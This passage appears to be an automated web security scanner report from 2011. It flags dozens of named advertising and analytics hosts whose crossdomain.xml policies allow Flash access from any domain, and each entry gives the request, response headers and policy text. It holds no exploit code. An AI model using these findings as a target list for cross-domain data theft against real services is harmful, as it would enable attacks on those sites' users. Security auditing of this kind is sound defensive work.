Set-Cookie: JY57=CT; expires=Tue, 07-Jun-2011 13:11:52 GMT; path=/; domain=.collective-media.net
P3P: CP="DSP NOI ADM PSAo PSDo OUR BUS NAV COM UNI INT"

<?xml version="1.0" ?>
<cross-domain-policy>
<allow-access-from domain="*" secure="false"/>
<allow-http-request-headers-from domain="*" headers="*" secure="true"/>
</cross-domain-policy>

5.2. http://a.tribalfusion.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://a.tribalfusion.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: a.tribalfusion.com

Response

HTTP/1.0 200 OK
P3P: CP="NOI DEVo TAIa OUR BUS"
X-Function: 305
X-Reuse-Index: 1
Content-Type: text/xml
Content-Length: 102
Connection: Close

<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

5.3. http://a1.interclick.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://a1.interclick.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: a1.interclick.com

Response

HTTP/1.1 200 OK
Content-Type: text/xml
Last-Modified: Tue, 19 Apr 2011 21:44:21 GMT
Accept-Ranges: bytes
ETag: "7b643f1dafecb1:0"
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
P3P: policyref="http://www.interclick.com/w3c/p3p.xml",CP="NON DSP ADM DEV PSD OUR IND PRE NAV UNI"
Date: Tue, 10 May 2011 14:10:37 GMT
Connection: close
Content-Length: 225

...<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
...[SNIP]...

5.4. http://ad.afy11.net/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.afy11.net
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: ad.afy11.net

Response

HTTP/1.1 200 OK
Content-Type: text/xml
Last-Modified: Mon, 05 Feb 2007 18:48:56 GMT
Accept-Ranges: bytes
ETag: "e732374a5649c71:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 10 May 2011 14:12:54 GMT
Connection: close
Content-Length: 201

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>
...[SNIP]...

5.5. http://ad.amgdgt.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.amgdgt.com
Path:	/crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which allows access from any domain, and allows access from specific other domains.

Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.

Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.

Request

GET /crossdomain.xml HTTP/1.0
Host: ad.amgdgt.com

Response

HTTP/1.1 200 OK
Server: Apache/2.2.3 (CentOS)
Last-Modified: Fri, 21 May 2010 08:32:40 GMT
ETag: "85814f-12e-4871688bd9a00"
Cache-Control: max-age=21600
Expires: Tue, 10 May 2011 19:27:16 GMT
Content-Type: text/xml
Content-Length: 302
Date: Tue, 10 May 2011 13:37:12 GMT
X-Varnish: 1625864610 1625858238
Age: 591
Via: 1.1 varnish
Connection: keep-alive

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
<allow-access-from domain="all" />
...[SNIP]...

5.6. http://ad.doubleclick.net/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: ad.doubleclick.net

Response

HTTP/1.0 200 OK
Server: DCLK-HttpSvr
Content-Type: text/xml
Content-Length: 258
Last-Modified: Thu, 18 Sep 2003 20:42:14 GMT
Date: Tue, 10 May 2011 13:11:34 GMT

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">

<cross-domain-policy>

...[SNIP]...
<allow-access-from domain="*" />
...[SNIP]...

5.7. http://ad.media6degrees.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.media6degrees.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: ad.media6degrees.com

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
ETag: W/"288-1225232951000"
Last-Modified: Tue, 28 Oct 2008 22:29:11 GMT
Content-Type: application/xml
Content-Length: 288
Date: Tue, 10 May 2011 13:24:59 GMT
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-http-request-headers-from domain="*" headers="*"
...[SNIP]...
<allow-access-from domain="*" secure="false"/>
...[SNIP]...

5.8. http://ad.turn.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.turn.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: ad.turn.com

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
P3P: policyref="/w3c/p3p.xml", CP="NOI CURa DEVa TAIa PSAa PSDa IVAa IVDa OUR IND UNI NAV"
Cache-Control: private
Pragma: private
Expires: Tue, 10 May 2011 13:59:09 GMT
Content-Type: text/xml;charset=UTF-8
Date: Tue, 10 May 2011 13:59:08 GMT
Connection: close

<?xml version="1.0"?><cross-domain-policy> <allow-access-from domain="*"/></cross-domain-policy>

5.9. http://ad.uk.doubleclick.net/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.uk.doubleclick.net
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: ad.uk.doubleclick.net

Response

HTTP/1.0 200 OK
Server: DCLK-HttpSvr
Content-Type: text/xml
Content-Length: 393
Last-Modified: Wed, 22 Oct 2008 18:22:35 GMT
Date: Tue, 10 May 2011 13:37:48 GMT

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">

<cross-domain-policy>
<site-
...[SNIP]...
<allow-access-from domain="*" secure="false"/>
...[SNIP]...

5.10. http://ad1.netshelter.net/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad1.netshelter.net
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: ad1.netshelter.net

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Date: Tue, 10 May 2011 13:32:58 GMT
Content-Type: text/plain
Content-Length: 187
Last-Modified: Tue, 31 Aug 2010 17:41:28 GMT
Connection: close
Accept-Ranges: bytes

<?xml version="1.0" ?>
<cross-domain-policy>
<allow-access-from domain="*" secure="false"/>
<allow-http-request-headers-from domain="*" headers="*" secure="true"/>
</cross-domain-policy>

5.11. http://ad2.netshelter.net/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad2.netshelter.net
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: ad2.netshelter.net

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Date: Tue, 10 May 2011 13:32:51 GMT
Content-Type: text/plain
Content-Length: 187
Last-Modified: Wed, 08 Sep 2010 13:14:23 GMT
Connection: close
Accept-Ranges: bytes

<?xml version="1.0" ?>
<cross-domain-policy>
<allow-access-from domain="*" secure="false"/>
<allow-http-request-headers-from domain="*" headers="*" secure="true"/>
</cross-domain-policy>

5.12. http://ad4.netshelter.net/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad4.netshelter.net
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: ad4.netshelter.net

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Date: Tue, 10 May 2011 13:38:16 GMT
Content-Type: text/plain
Content-Length: 187
Last-Modified: Wed, 08 Sep 2010 17:14:23 GMT
Connection: close
Accept-Ranges: bytes

<?xml version="1.0" ?>
<cross-domain-policy>
<allow-access-from domain="*" secure="false"/>
<allow-http-request-headers-from domain="*" headers="*" secure="true"/>
</cross-domain-policy>

5.13. http://ads.pointroll.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ads.pointroll.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: ads.pointroll.com

Response

HTTP/1.1 200 OK
Content-Length: 170
Content-Type: text/xml
Last-Modified: Tue, 06 Apr 2010 18:31:31 GMT
Accept-Ranges: bytes
ETag: "8e43ce60b7d5ca1:1477"
Server: Microsoft-IIS/6.0
P3P: CP="NOI DSP COR PSAo PSDo OUR BUS OTC"
Date: Tue, 10 May 2011 13:14:06 GMT
Connection: close

<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*" />
<allow-http-request-headers-from domain="*" headers="*"/>
</cross-domain-policy>

5.14. http://ads.specificmedia.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ads.specificmedia.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: ads.specificmedia.com

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 17:44:52 GMT
Server: Apache/2.2.15 (Unix) DAV/2 mod_perl/2.0.4 Perl/v5.10.0
Last-Modified: Wed, 26 Jan 2011 18:01:55 GMT
ETag: "e7003d-110-49ac3a0dd4ac0"
Accept-Ranges: bytes
Content-Length: 272
Connection: close
Content-Type: application/xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">

<cross-d
...[SNIP]...
<allow-access-from domain="*"/>
...[SNIP]...

5.15. http://adsfac.us/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://adsfac.us
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: adsfac.us

Response

HTTP/1.1 200 OK
Content-Type: text/xml
Last-Modified: Tue, 30 Sep 2008 00:31:21 GMT
Accept-Ranges: bytes
ETag: "0291dc9322c91:0"
Server: Microsoft-IIS/7.0
P3P: CP="NOI DSP COR NID CUR OUR NOR"
Date: Tue, 10 May 2011 14:04:07 GMT
Connection: close
Content-Length: 125

<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*" secure="true" />
</cross-domain-policy>

5.16. http://adv.netshelter.net/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://adv.netshelter.net
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: adv.netshelter.net

Response

HTTP/1.1 200 OK
Accept-Ranges: bytes
Cache-control: no-cache="set-cookie"
Content-Type: text/xml
Date: Tue, 10 May 2011 13:35:43 GMT
ETag: "2830dc3-68-46e5d1b8bc000"
Last-Modified: Fri, 10 Jul 2009 17:14:40 GMT
Server: Apache
Set-Cookie: AWSELB=BFA573330611949355BB86A8A9A3DA7EE06D19CC47AD49B3B77CBB01676CC372A2DA1B0846DC242E62C3DB991105EE577CCB1D14F730D4D02794E67AE70465498FAB44B13F;PATH=/
Vary: Accept-Encoding
Content-Length: 104
Connection: Close

<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

5.17. http://adx.adnxs.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://adx.adnxs.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: adx.adnxs.com

Response

HTTP/1.0 200 OK
Cache-Control: no-store, no-cache, private
Pragma: no-cache
Expires: Sat, 15 Nov 2008 16:00:00 GMT
P3P: CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC"
Set-Cookie: sess=1; path=/; expires=Wed, 11-May-2011 14:29:01 GMT; domain=.adnxs.com; HttpOnly
Content-Type: text/xml

<?xml version="1.0"?><!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd"><cross-domain-policy><site-control permitted-cross-domain-policies="master-only"
...[SNIP]...
<allow-access-from domain="*"/>
...[SNIP]...

5.18. http://afe.specificclick.net/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://afe.specificclick.net
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: afe.specificclick.net

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/xml
Content-Length: 194
Date: Tue, 10 May 2011 17:44:15 GMT
Connection: close

<?xml version="1.0"?><!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd"><cross-domain-policy><allow-access-from domain="*" /></cross-domain-policy>

5.19. http://altfarm.mediaplex.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://altfarm.mediaplex.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: altfarm.mediaplex.com

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
ETag: W/"204-1289502469000"
Last-Modified: Thu, 11 Nov 2010 19:07:49 GMT
Content-Type: text/xml
Content-Length: 204
Date: Tue, 10 May 2011 13:54:33 GMT
Connection: keep-alive

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy
SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-poli
...[SNIP]...

5.20. http://amch.questionmarket.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://amch.questionmarket.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: amch.questionmarket.com

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 14:23:37 GMT
Server: Apache-AdvancedExtranetServer/2.0.50
Last-Modified: Tue, 28 Mar 2006 15:45:05 GMT
ETag: "2005439f-d1-f999c240"
Accept-Ranges: bytes
Content-Length: 209
Keep-Alive: timeout=120, max=956
Connection: Keep-Alive
Content-Type: text/xml

<?xml version="1.0"?>

<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-
...[SNIP]...

5.21. http://aperture.displaymarketplace.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://aperture.displaymarketplace.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: aperture.displaymarketplace.com

Response

HTTP/1.0 200 OK
Content-Length: 268
Content-Type: text/xml
Content-Location: http://aperture.displaymarketplace.com/crossdomain.xml
Last-Modified: Wed, 06 Jan 2010 19:44:14 GMT
Accept-Ranges: bytes
ETag: "88db83a088fca1:6d5c"
Server: Microsoft-IIS/6.0
X-Server: D1A
P3P: CP="NON DEVo PSAo PSDo CONo OUR BUS UNI"
X-Powered-By: ASP.NET
Expires: Tue, 10 May 2011 13:29:11 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 10 May 2011 13:29:11 GMT
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
<site-control perm
...[SNIP]...

5.22. http://api.search.live.net/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://api.search.live.net
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: api.search.live.net

Response

HTTP/1.0 200 OK
Cache-Control: no-cache
Content-Length: 266
Content-Type: text/xml
Last-Modified: Tue, 09 Feb 2010 19:32:41 GMT
ETag: 68D294F3971D1719A2D5F7CCEEAC18F80000010A
P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND", policyref="http://privacy.msn.com/w3c/p3p.xml"
Date: Tue, 10 May 2011 13:23:16 GMT
Connection: close
Set-Cookie: _MD=alg=m2&C=2011-05-10T13%3a23%3a16; expires=Fri, 20-May-2011 13:23:16 GMT; domain=.live.net; path=/
Set-Cookie: _SS=SID=C223752939974020899BBA6BDC02DB26; domain=.live.net; path=/
Set-Cookie: SRCHUID=V=2&GUID=B59B377C81F2473D94E03AF66F34DC32; expires=Thu, 09-May-2013 13:23:16 GMT; path=/
Set-Cookie: SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110510; expires=Thu, 09-May-2013 13:23:16 GMT; domain=.live.net; path=/

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-http-request-headers-from domain="*" headers="*"
...[SNIP]...
<allow-access-from domain="*"/>
...[SNIP]...

5.23. http://ar.voicefive.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ar.voicefive.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: ar.voicefive.com

Response

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 10 May 2011 13:42:08 GMT
Content-Type: text/xml
Connection: close
Vary: Accept-Encoding
Accept-Ranges: bytes
Content-Length: 230
Vary: Accept-Encoding,User-Agent
P3P: policyref="/w3c/p3p.xml", CP="NOI COR NID CUR DEV TAI PSA IVA OUR STA UNI NAV INT"
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: -1

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
...[SNIP]...

5.24. http://as.casalemedia.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://as.casalemedia.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: as.casalemedia.com

Response

HTTP/1.0 200 OK
Server: Apache
Last-Modified: Fri, 25 Feb 2011 02:23:31 GMT
ETag: "17b0daf-e6-41faec0"
Accept-Ranges: bytes
Content-Length: 230
Content-Type: text/xml
Expires: Tue, 10 May 2011 13:11:36 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 10 May 2011 13:11:36 GMT
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">

<cross-domain-policy>
<allow-access-from domain="*" />
...[SNIP]...

5.25. http://audit.303br.net/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://audit.303br.net
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: audit.303br.net

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
ETag: W/"202-1303422014000"
Last-Modified: Thu, 21 Apr 2011 21:40:14 GMT
Content-Type: application/xml
Content-Length: 202
Date: Tue, 10 May 2011 13:27:34 GMT
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-polic
...[SNIP]...

5.26. http://b.scorecardresearch.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b.scorecardresearch.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: b.scorecardresearch.com

Response

HTTP/1.0 200 OK
Last-Modified: Wed, 10 Jun 2009 18:02:58 GMT
Content-Type: application/xml
Expires: Wed, 11 May 2011 13:11:35 GMT
Date: Tue, 10 May 2011 13:11:35 GMT
Content-Length: 201
Connection: close
Cache-Control: private, no-transform, max-age=86400
Server: CS

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*"/>
</cross-domain-policy
...[SNIP]...

5.27. http://b.voicefive.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://b.voicefive.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: b.voicefive.com

Response

HTTP/1.0 200 OK
Last-Modified: Wed, 10 Jun 2009 18:02:58 GMT
Content-Type: application/xml
Expires: Wed, 11 May 2011 13:42:49 GMT
Date: Tue, 10 May 2011 13:42:49 GMT
Content-Length: 201
Connection: close
Cache-Control: private, no-transform, max-age=86400
Server: CS

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*"/>
</cross-domain-policy
...[SNIP]...

5.28. http://bcp.crwdcntrl.net/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://bcp.crwdcntrl.net
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: bcp.crwdcntrl.net

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:12:01 GMT
Server: Apache/2.2.8 (CentOS)
Last-Modified: Wed, 20 Apr 2011 11:31:48 GMT
ETag: "20104a7-ba-4a157f85e5100"
Accept-Ranges: bytes
Content-Length: 186
Vary: Accept-Encoding
Connection: close
Content-Type: text/xml

<?xml version="1.0"?>
<cross-domain-policy>
<site-control permitted-cross-domain-policies="master-only" />
<allow-access-from domain="*" />
</cross-domain-policy>

5.29. http://beacon.videoegg.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://beacon.videoegg.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: beacon.videoegg.com

Response

HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Type: text/xml
Date: Tue, 10 May 2011 13:17:56 GMT
ETag: "6a001d-90-f46b07c0"
Last-Modified: Sun, 31 Jan 2010 05:15:19 GMT
Server: Apache
Content-Length: 144
Connection: Close

<cross-domain-policy>
<site-control permitted-cross-domain-policies="all"/>
<allow-access-from domain="*" to-ports="*"/>
</cross-domain-policy>

5.30. http://bh.contextweb.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://bh.contextweb.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: bh.contextweb.com

Response

HTTP/1.1 200 OK
Server: Sun GlassFish Enterprise Server v2.1
ETag: W/"384-1279190951000"
Last-Modified: Thu, 15 Jul 2010 10:49:11 GMT
Content-Type: application/xml
Content-Length: 384
Date: Tue, 10 May 2011 14:10:22 GMT
Connection: Keep-Alive
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT"

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">

<cross-domain-policy>
<site-contro
...[SNIP]...
<allow-access-from domain="*" secure="false"/>
...[SNIP]...

5.31. http://bs.serving-sys.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://bs.serving-sys.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: bs.serving-sys.com

Response

HTTP/1.1 200 OK
Content-Type: text/xml
Last-Modified: Thu, 21 Aug 2008 15:23:00 GMT
Accept-Ranges: bytes
ETag: "0e2c3cba13c91:0"
P3P: CP="NOI DEVa OUR BUS UNI"
Date: Tue, 10 May 2011 13:28:54 GMT
Connection: close
Content-Length: 100

<cross-domain-policy>
<allow-access-from domain="*" secure="false" />
</cross-domain-policy>

5.32. http://c.betrad.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://c.betrad.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: c.betrad.com

Response

HTTP/1.0 200 OK
Server: Apache
ETag: "623d3896f3768c2bad5e01980f958d0a:1298927864"
Last-Modified: Mon, 28 Feb 2011 21:17:44 GMT
Accept-Ranges: bytes
Content-Length: 204
Content-Type: application/xml
Date: Tue, 10 May 2011 13:37:28 GMT
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy
SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-poli
...[SNIP]...

5.33. http://c7.zedo.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://c7.zedo.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: c7.zedo.com

Response

HTTP/1.0 200 OK
Server: ZEDO 3G
Content-Length: 247
Content-Type: application/xml
ETag: "77adf2-f7-44d91a5da81c0"
X-Varnish: 1215537576
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Cache-Control: max-age=1756
Date: Tue, 10 May 2011 13:23:47 GMT
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">

<cross-domain-policy>
<allow-access-from domain="*" />
...[SNIP]...

5.34. http://cache.specificmedia.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cache.specificmedia.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: cache.specificmedia.com

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 17:45:19 GMT
Server: PWS/1.7.2.1
X-Px: ms iad-agg-n28 ( iad-agg-n18), ht iad-agg-n18.panthercdn.com
ETag: "13f0aae-110-4764a58d73940"
Cache-Control: max-age=604800
Expires: Mon, 16 May 2011 08:49:02 GMT
Age: 118577
Content-Length: 272
Content-Type: application/xml
Last-Modified: Mon, 19 Oct 2009 14:13:17 GMT
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">

<cross-d
...[SNIP]...
<allow-access-from domain="*"/>
...[SNIP]...

5.35. http://cas.criteo.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cas.criteo.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: cas.criteo.com

Response

HTTP/1.1 200 OK
Server: nginx
Cache-Control: max-age=31104000
Cache-Control: public
Content-Type: text/xml
Date: Tue, 10 May 2011 13:18:09 GMT
Expires: Fri, 04 May 2012 13:18:09 GMT
Accept-Ranges: bytes
Connection: close
Last-Modified: Wed, 19 Sep 2007 08:50:25 GMT
Content-Length: 360

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<site-control permitted-cross-domain-policies="all" />

...[SNIP]...
<allow-access-from domain="*" secure="false" />
...[SNIP]...

5.36. http://cdn.eyewonder.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.eyewonder.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: cdn.eyewonder.com

Response

HTTP/1.0 200 OK
Cache-Control: max-age=18000
Content-Type: text/xml
Accept-Ranges: bytes
ETag: "b2ae8e693141c91:139e"
Server: Microsoft-IIS/6.0
p3p: policyref="/100125/w3c/p3p.xml", CP="NOI DSP LAW NID PSA OUR IND NAV STA COM"
X-Powered-By: ASP.NET
Date: Tue, 10 May 2011 13:40:26 GMT
Last-Modified: Fri, 07 Nov 2008 23:34:43 GMT
Expires: Tue, 10 May 2011 18:40:26 GMT
Content-Length: 195
Connection: close

<?xml version="1.0"?>

<cross-domain-policy>
<allow-access-from domain="*" />
<site-control permitted-cross-domain-policies="all"/>
</cross-domain-policy>

5.37. http://cdn.turn.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.turn.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: cdn.turn.com

Response

HTTP/1.0 200 OK
Server: Apache-Coyote/1.1
P3P: policyref="/w3c/p3p.xml", CP="NOI CURa DEVa TAIa PSAa PSDa IVAa IVDa OUR IND UNI NAV"
Pragma: private
Content-Type: text/xml;charset=UTF-8
Cache-Control: private, max-age=0
Expires: Tue, 10 May 2011 13:25:07 GMT
Date: Tue, 10 May 2011 13:25:07 GMT
Content-Length: 100
Connection: close

<?xml version="1.0"?><cross-domain-policy> <allow-access-from domain="*"/></cross-domain-policy>

5.38. http://cdn4.eyewonder.com/crossdomain.xml previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn4.eyewonder.com
Path:	/crossdomain.xml

Issue detail

Request

GET /crossdomain.xml HTTP/1.0
Host: cdn4.eyewonder.com

Response

HTTP/1.1 200 OK
